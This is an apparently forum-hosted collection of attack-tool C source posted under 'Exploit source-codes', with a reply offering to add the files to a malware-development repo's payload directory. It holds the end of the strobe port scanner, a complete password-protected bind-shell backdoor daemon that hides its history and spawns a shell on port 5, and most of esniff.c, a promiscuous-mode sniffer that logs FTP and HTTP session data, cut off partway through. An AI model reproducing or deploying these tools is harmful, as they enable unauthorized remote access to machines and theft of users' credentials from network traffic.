    timeval_subtract(&tv2, &tv, &(h->time_start));
    t = tv2.tv_sec+(float)tv2.tv_usec/1000000.0;
    st = h->time_used.tv_sec+(float)h->time_used.tv_usec/1000000.0;
    fprintf(stderr, "stats: host = %s trys = %d cons = %d time = %.2fs trys/s = %.2f trys/ss =
%.2f\n",
h->name, h->attempts_done, h->connects, t, h->attempts_done/t, h->attempts_done/st);
}

fvoid
final_stats()
{
    struct timeval tv, tv2;
    float t;
    gettimeofday(&tv, NULL);
    timeval_subtract(&tv2, &tv, &(time_start));
    t = tv2.tv_sec+(float)tv2.tv_usec/1000000.0;
    fprintf(stderr, "stats: hosts = %d trys = %d cons = %d time = %.2fs trys/s = %.2f\n",
hosts_done, attempts_done, connects, t, attempts_done/t);
}

bool skip_host(h)
  struct hosts_s *h;
{
    if (a_abort && !h->connects && (h->attempts_highest_done >= a_abort)) /* async pain */
    {
if (h->status & HO_ABORT)
{
    if ((time(NULL)-h->notice_abort)>a_timeout)
    {
if (f_verbose)
    fprintf(stderr, "skipping: %s (no connects in %d attempts)\n",
h->name, h->attempts_done);
return 1;
    }
} else
```

```
        {
h->notice_abort=time(NULL);
h->status|=HO_ABORT;
}
    }
    return 0;
}

int
next_port (h)
struct hosts_s *h;
{
    int n;
    for (n = h->port; ++n <= a_end;)
    {
    if (!f_fast) return n;
if (++h->portlist_ent>portlist_n) return -1;
        return (portlist[h->portlist_ent-1]);
    }
    return -1;
}

fvoid
scan_ports_linear ()
{
    struct hosts_s host;
    char *name;
    while ((name = next_host ()))
    {
if (!host_init(&host, name, 1)) continue;
for (;;)
{
    scatter (&host, a_timeout);
    if (skip_host(&host)) break;
    if ((host.port = next_port(&host))==-1)
break;
}
wait_end (a_timeout);
if (f_verbose_stats)
    host_stats (&host);
clear_all ();
host_clear(&host);
    }
}

/* Huristics:
*  o  fast connections have priority == maximise bandwidth i.e
*    a port in the hand is worth two in the bush
*
*  o  newer hosts have priority == lower ports checked more quickly
*
*  o  all hosts eventually get equal "socket time" == despite
*    priorities let no one host hog the sockets permanently
*
*  o  when host usage times are equal (typically on or shortly after
*    initial startup) distribute hosts<->sockets evenly rather than
*    play a game of chaotic bifurcatic ping-pong
*/

fvoid
scan_ports_paralell ()
{
    int n;
    struct timeval smallest_val;
    int smallest_cnt;
    char *name;
    struct hosts_s *h, *smallest = &hosts[0];
    while (smallest)
    {
smallest_val.tv_sec=0xfffffff;
smallest_val.tv_usec=0;
for (n = 0, smallest_cnt = 0xfffffff, smallest = NULL; n < a_sock_max; n++)
{
    h = &hosts[n];

    if (((h->status & HO_COMPLETING) &&
                (h->attempts_done == h->attempts)) ||
                skip_host(h))
    {
if (f_verbose_stats) host_stats (h);
host_clear (h);
    }

    if (!h->name && ((name = next_host ())))
if (!host_init (h, name, 0))
{
    host_clear (h);
    continue;
}

    if (h->name)
    {
if (((h->time_used.tv_sec < smallest_val.tv_sec) ||
    ((h->time_used.tv_sec == smallest_val.tv_sec) &&
      (h->time_used.tv_usec <= smallest_val.tv_usec))) &&
    (((h->time_used.tv_sec != smallest_val.tv_sec) &&
      (h->time_used.tv_usec != smallest_val.tv_usec)) ||
    (h->attempts < smallest_cnt)))
        {
      smallest_cnt = h->attempts;
    smallest_val = h->time_used;
    smallest = h;
}
    }
}

if (smallest)
{
    if (!(smallest->status & HO_COMPLETING))
    {
scatter (smallest, a_timeout);
if ((smallest->port=next_port(smallest))==-1)
            smallest->status|=HO_COMPLETING;
    }
    else
gather();
}
    }
}

fvoid
loaddescs ()
{
    FILE *fh;
    char lbuf[1024];
    char desc[256];
    char portname[17];
    unsigned int port;
    char *fn;
    char prot[4];
    prot[3]='\0';
    if (!(fh = fopen ((fn=a_services), "r")) &&
        !(fh = fopen ((fn=LIB_STROBE_SERVICES), "r")) &&
        !(fh = fopen ((fn=ETC_SERVICES), "r")))
    {
perror (fn);
exit (1);
    }
    port_descs=(struct port_desc_s **) Smalloc(sizeof(struct port_descs_s *) * 65536);
    memset(port_descs, 0, 65536);
    while (fgets (lbuf, sizeof (lbuf), fh))
    {
char *p;
struct port_desc_s *pd, *pdp;
if (strchr("*# \t\n", lbuf[0])) continue;
if (!(p = strchr (lbuf, '/'))) continue;
```

```
*p = ' ';
desc[0]='\0';
if (sscanf (lbuf, "%16s %u %3s %255[^\r\n]", portname, &port, prot, desc) <3 || strcmp (prot,
"tcp") || (port > 65535))
    continue;
pd = port_descs[port];
if (!pd)
{
    portlist = (int *)Srealloc((char *)portlist, ++portlist_n*sizeof(int));
    portlist[portlist_n-1]=port;
}
if (!f_minimise)
{
    pdp = (struct port_desc_s *) Smalloc (sizeof (*pd) + strlen (desc) + 1 + strlen (portname) +
1);
    if (pd)
    {
        for (; pd->next; pd = pd->next);
        pd->next = pdp;
        pd = pd->next;
    } else
    {
        pd = pdp;
        port_descs[port] = pd;
    }
    pd->next = NULL;
    pd->name = (char *) (pd) + sizeof (*pd);
    pd->portname = pd->name + strlen(desc)+1;
    strcpy (pd->name, desc);
    strcpy (pd->portname, portname);
} else
    port_descs[port] = (struct port_desc_s *)-1;
    }
    if (f_minimise)
        free (port_descs);
}

fvoid
usage ()
{
    fprintf (stderr, "\
usage: %8s [options]\n\
\t\t[-v(erbose)]\n\
\t\t[-V(erbose_stats]\n\
\t\t[-m(inimise)]\n\
\t\t[-d(elete_dupes)]\n\
\t\t[-g(etpeername_disable)]\n\
\t\t[-s(tatistics)]\n\
\t\t[-q(uiet)]\n\
\t\t[-o output_file]\n\
\t\t[-b begin_port_n]\n\
\t\t[-e end_port_n]\n\
\t\t[-p single_port_n]\n\
\t\t[-P bind_port_n]\n\
\t\t[-A bind_addr_n]\n\
\t\t[-t timeout_n]\n\
\t\t[-n num_sockets_n]\n\
\t\t[-S services_file]\n\
\t\t[-i hosts_input_file]\n\
\t\t[-l(inear)]\n\
\t\t[-f(ast)]\n\
\t\t[-a abort_after_port_n]\n\
\t\t[-M(ail_author)]\n\
\t\t[host1 [...host_n]]\n", Argv[0]);
    exit (1);
}
int
main (argc, argv)
  int argc;
  char **argv;
{
    int c;
    Argc = argc;
    Argv = argv;

    while ((c = getopt (argc, argv, "o:dvVmgb:e:p:P:a:A:t:n:S:i:lfsqM")) != -1)
switch (c)
{
case 'o':
    a_output = optarg;
    break;
case 'd':
    f_delete_dupes=1;
    break;
case 'v':
    f_verbose = 1;
    break;
case 'V':
    f_verbose_stats = 1;
    break;
case 'm':
    f_minimise = 1;
    break;
case 'g':
    f_dontgetpeername = 1;
    break;
case 'b':
    a_start = atoi (optarg);
    break;
case 'e':
    a_end = atoi (optarg);
    break;
case 'P':
    a_bindport = htons (atoi (optarg));
    break;
case 'A':
    a_bindaddr = optarg;
    bindaddr = resolve (a_bindaddr);
    if (bindaddr.s_addr == INADDR_NONE)
    {
    perror(a_bindaddr);
exit(1);
    }
            break;
case 'p':
    a_start = a_end = atoi (optarg);
    break;
case 'a':
    a_abort = atoi (optarg);
    break;
case 't':
    a_timeout = atoi (optarg);
    break;
case 'n':
    a_sock_max = atoi (optarg);
    break;
case 'S':
    a_services = optarg;
    break;
case 'i':
    a_input = optarg;
    break;
case 'l':
    f_linear = 1;
    break;
case 'f':
    f_fast = 1;
    break;
case 's':
    f_stats = 1;
    break;
        case 'q':
    f_quiet = 1;
    break;
case 'M':
    fprintf(stderr, "Enter mail to author below. End with ^D or .\n");
    system("mail strobe@suburbia.net");
    break;
case '?':
default:
    fprintf (stderr, "unknown option %s\n", argv[optind-1]);
    usage ();
    /* NOT_REACHED */
}
    host_n = optind;

    if (!f_quiet)
        fprintf (stderr, "strobe %s (c) 1995 Julian Assange (proff@suburbia.net).\n", VERSION);
    if (a_input)
    {
        if ( ! strcmp("-",a_input) ) { /* Use stdin as input file */
    fh_input = stdin;
  }
else {
  if (!(fh_input = fopen (a_input, "r")))
    {
      perror (a_input);
      exit (1);
    }
}
    } else
    {
      switch ( argc - host_n ) { /* Number of hosts found on command line */
      case 0:
fh_input = stdin;
a_input = "stdin"; /* Needed in "next_host()" */
break;
      case 1:
f_linear = 1;
break;
      }
    }

    if ((fh_input==stdin) && !f_quiet)
      fprintf (stderr, "Reading host names from stdin...\n");

    if (a_output)
    {
        int fd;
        if ((fd=open(a_output, O_WRONLY|O_CREAT|O_TRUNC, 0666))==-1)
{
perror(a_output);
exit(1);
}
dup2(fd, 1);
    }
    attempt = (struct htuple_s *) Smalloc (a_sock_max * sizeof (struct htuple_s));
    attempt_init();
    if (!f_linear)
    {
    hosts = (struct hosts_s *) Smalloc (a_sock_max * sizeof (struct hosts_s));
    hosts_init();
    }
    if (!f_minimise || f_fast)
    loaddescs ();
    fdsets_init();
    gettimeofday(&time_start, NULL);
    f_linear ? scan_ports_linear ():
      scan_ports_paralell ();
    if (f_stats || f_verbose_stats)
final_stats();
    exit (0);
}
```

[Vanilla.c]
Code:

```
/* Vanilla shell daemon with passwort authentification
* verbose explanation / sample of a shell daemon
* members.xoom.com/i0wnu (c) 1999 by Mixter */
```

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
int
main (int a, char **b)
{
  int c, d, e = sizeof (struct sockaddr_in), f;
// c will be our listening socket, d our new socket
  char p[20];
  struct sockaddr_in l, r;
  l.sin_family = AF_INET; // we fill this with our local ip/port

  l.sin_port = htons (5); // listen to port 5

  l.sin_addr.s_addr = INADDR_ANY; // our IP (filled in by kernel)

  bzero (&(l.sin_zero), 8);
  c = socket (AF_INET, SOCK_STREAM, 0); // listening socket

  signal (SIGCHLD, SIG_IGN); // ignore signals, optional

  signal (SIGHUP, SIG_IGN);
  signal (SIGTERM, SIG_IGN);
  signal (SIGINT, SIG_IGN);
  bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr)); // bind to port

  listen (c, 3); // listen to port, maximum 3 active connections

  while ((d = accept (c, (struct sockaddr *) &r, &e)))
    // accept blocks and waits for a connection attempt
    // then assigns the client connection to socket d
    {
      if (!fork ())
// if fork is 0, this is the child process and we
// will process the clients input
{
  recv (d, p, 19, 0); // wait for up to 19 chars from the client
  // assign them to p (password variable)

  for (f = 0; f < strlen (p); f++) // this replaces trailing garbage

    {
      if (p[f] == '\n' || p[f] == '\r')
p[f] = '\0';
    }
  if (strcmp (p, "test") != 0) // if password isnt "test"

    {
      send (d, "\377\373\001", 4, 0); // send an evil telnet cmd :)

      close (d); // wrong password - bye

      exit (1);
    }
  close (0); // we close the old stdin/out/err copied

  close (1); // by the fork() and create new ones

  close (2);
  dup2 (d, 0); // these give us the new descriptors

  dup2 (d, 1); // we need them for user interaction

  dup2 (d, 2);
  setenv ("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
  unsetenv ("HISTFILE");
  execlp ("w", "w", (char *) 0);
  // set some environment stuff, display logged in users, optional
  execlp ("sh", "sh", (char *) 0); // execute the shell
  close (d);
  exit (0);
} // end of if(!fork()) loop (child process specific code)

    } // end of while() loop

  return (0);
}
```

[esniff.c]
Code:
```
/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int    debug=0;

#define NIT_DEV    "/dev/nit"
#define CHUNKSIZE  4096        /* device buffer size */
int    if_fd = -1;
int    Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET  (0x1FFF)
#define SZETH      (sizeof(struct ether_header))
#define IPLEN      (ntohs(ip->ip_len))
```

```
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS        (ip->ip_src)
#define IPD        (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)  ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
    struct CREC *Next,
                *Last;
    time_t  Time;              /* start time */
    struct in_addr SRCip,
                   DSTip;
    u_int  SRCport,          /* src/dst ports */
           DSTport;
    u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
    u_int  Length;            /* current data length */
    u_int  PKcnt;            /* # pkts */
    u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

  switch(port) {
    case IPPORT_HTTP:        p="http"; break;
    case IPPORT_FTP:        p="ftp"; break;
    default: sprintf(buf,"%u",port); p=buf; break;
  }
  return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
```

```
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
    if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n    : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
    } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
    } \
    lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
  fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

  fprintf(LOG,"\n-- \n");
  fflush(LOG);

  if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
  if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
  else
    CLroot = CLe->Next;
  free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
    register struct CREC *CLe,*CLt = CLroot; \
    LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
    while(CLe=CLt) { \
      CLt=CLe->Next; \
      if(CLe->Time <tm) \
          END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
    } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip    *ip;
register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

  if(EtherType < 0x600) {
    EtherType = *(u_short *)(cp + SZETH + 6);
    cp+=8; pktlen-=8;
  }

  if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
}

    /* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!(
      (TCPD == IPPORT_FTP) ||
      (TCPD == IPPORT_HTTP)
  )) return;

{ register struct CREC *CLm;
  register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  register u_char *p = (u_char *)Packet;
  p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

  if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

  } else {

      if(TCPFL(TH_SYN)) {
        ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

  }

  IDLE_NODE();

}

}

/* signal handler
*/
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;
    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)
```

RE: Exploit source-codes - Vector - **07-14-2020**

Some excellent examples, here. If you'd like i could put these files in the Payload directory in our Exploit and MalDev R&D repo. The GS one.

I might expand on it by writing what the various examples are all about in the repo when i have a minute to spare.